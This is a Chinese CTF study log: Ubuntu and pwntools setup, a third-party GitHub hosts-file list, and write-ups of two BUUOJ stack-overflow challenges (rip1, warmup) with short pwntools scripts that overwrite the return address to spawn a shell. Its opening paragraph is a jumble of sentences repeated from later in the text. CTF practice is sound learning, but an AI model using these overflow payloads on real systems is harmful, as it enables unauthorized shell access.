第三周。。。。。。
用ida打开,进入main,查看函数,看到gets,存储在s中得知可以通过栈溢出来解题,分析得到s中存储着15个字符。# 定义payload,一共需要十六进制f(16)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据。可以通过输入15个字符填满s上的字节缓冲区,再来一个字符凑齐16个覆盖栈上的栈帧对齐字节,借鉴大佬的。进入hosts,通过i进入编辑模式,将以下内容复制进去,再点esc,
第三周
date:11.12
一.Ubuntu虚拟机安装及python配置
1.Ubuntu
root设置
安装完成后设置root密码
su root
通过该代码即可切换至root权限,再进行在登陆界面进行root账户登录的设置

软件源设置
在下载-其他-选用最佳服务器就行了

2.Python配置
由于Ubuntu20自带python3以及pwngdb,pwndbg和LibcSearcher,只需要安装pwntools,ROPgadget就可以了
先装环境
sudo apt install git
再执行
sudo apt-get install python3-capstone git clone https://github.com/JonathanSalwan/ROPgadget.git cd ROPgadget sudo python3 setup.py install
这里需要执行以下操作进行安装
vim /etc/hosts
进入hosts,通过i进入编辑模式,将以下内容复制进去,再点esc,ctrl+0保存,:wq退出
# GitHub520 Host Start 140.82.114.26 alive.github.com 140.82.112.5 api.github.com 185.199.111.153 assets-cdn.github.com 185.199.110.133 avatars.githubusercontent.com 185.199.110.133 avatars0.githubusercontent.com 185.199.110.133 avatars1.githubusercontent.com 185.199.110.133 avatars2.githubusercontent.com 185.199.110.133 avatars3.githubusercontent.com 185.199.110.133 avatars4.githubusercontent.com 185.199.110.133 avatars5.githubusercontent.com 185.199.110.133 camo.githubusercontent.com 140.82.112.21 central.github.com 185.199.108.133 cloud.githubusercontent.com 140.82.114.9 codeload.github.com 140.82.113.21 collector.github.com 185.199.110.133 desktop.githubusercontent.com 185.199.110.133 favicons.githubusercontent.com 140.82.114.3 gist.github.com 54.231.132.201 github-cloud.s3.amazonaws.com 52.217.159.33 github-com.s3.amazonaws.com 16.182.70.201 github-production-release-asset-2e65be.s3.amazonaws.com 52.217.71.156 github-production-repository-file-5c1aeb.s3.amazonaws.com 52.216.77.12 github-production-user-asset-6210df.s3.amazonaws.com 192.0.66.2 github.blog 140.82.114.3 github.com 140.82.112.17 github.community 185.199.110.154 github.githubassets.com 151.101.1.194 github.global.ssl.fastly.net 185.199.110.153 github.io 185.199.108.133 github.map.fastly.net 185.199.110.153 githubstatus.com 140.82.114.26 live.github.com 185.199.108.133 media.githubusercontent.com 185.199.110.133 objects.githubusercontent.com 13.107.42.16 pipelines.actions.githubusercontent.com 185.199.108.133 raw.githubusercontent.com 185.199.108.133 user-images.githubusercontent.com 13.107.213.40 vscode.dev 140.82.112.21 education.github.com # Update time: 2023-12-09T12:05:19+08:00 # Update url: https://raw.hellogithub.com/hosts # Star me: https://github.com/521xueweihan/GitHub520 # GitHub520 Host End
再执行
sudo apt install nscd
就能光速下载了

后来得知在pwntools带着,也就不用光速下载了
二.题目练习
1.rip1
用ida打开,进入main,查看函数,看到gets,存储在s中得知可以通过栈溢出来解题,分析得到s中存储着15个字符

可通过跳转到fun执行/bin/sh来获得shell

得到fun的地址0x401186

可以通过输入15个字符填满s上的字节缓冲区,再来一个字符凑齐16个覆盖栈上的栈帧对齐字节,借鉴大佬的
# 导入 pwntools 模块
from pwn import *
# 和靶机进行连接
r = remote("node5.buuoj.cn",27149)#这里双引号里面的替换成自己所启动靶机的
# 定义fun函数的内存地址
fun_addr = 0x401187
# 定义payload,一共需要十六进制f(16)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据
# 最后加上p64函数转换的fun函数的地址
payload = (b"a" * 0xf) + (b"b" * 8) + p64(fun_addr)
# 发送payload
r.sendline(payload)
# 获取靶机交互式终端
r.interactive()
复制到文本编辑器中,保存为py文件,执行
pyhon3 123.py

得到flag
2.warmup
打开得到,也是Gets,存储在v5中,通过栈溢出解题

sprintf里有一个函数,gets从40开始需填充0x40+8

复制大佬写的
from pwn import *
p=remote('node5.buuoj.cn',28583)
payload=b'A'*64+b'B'*8+p64(0x40060d)
p.sendline(payload)
p.interactive()
得到flag

目录
更多推荐

所有评论(0)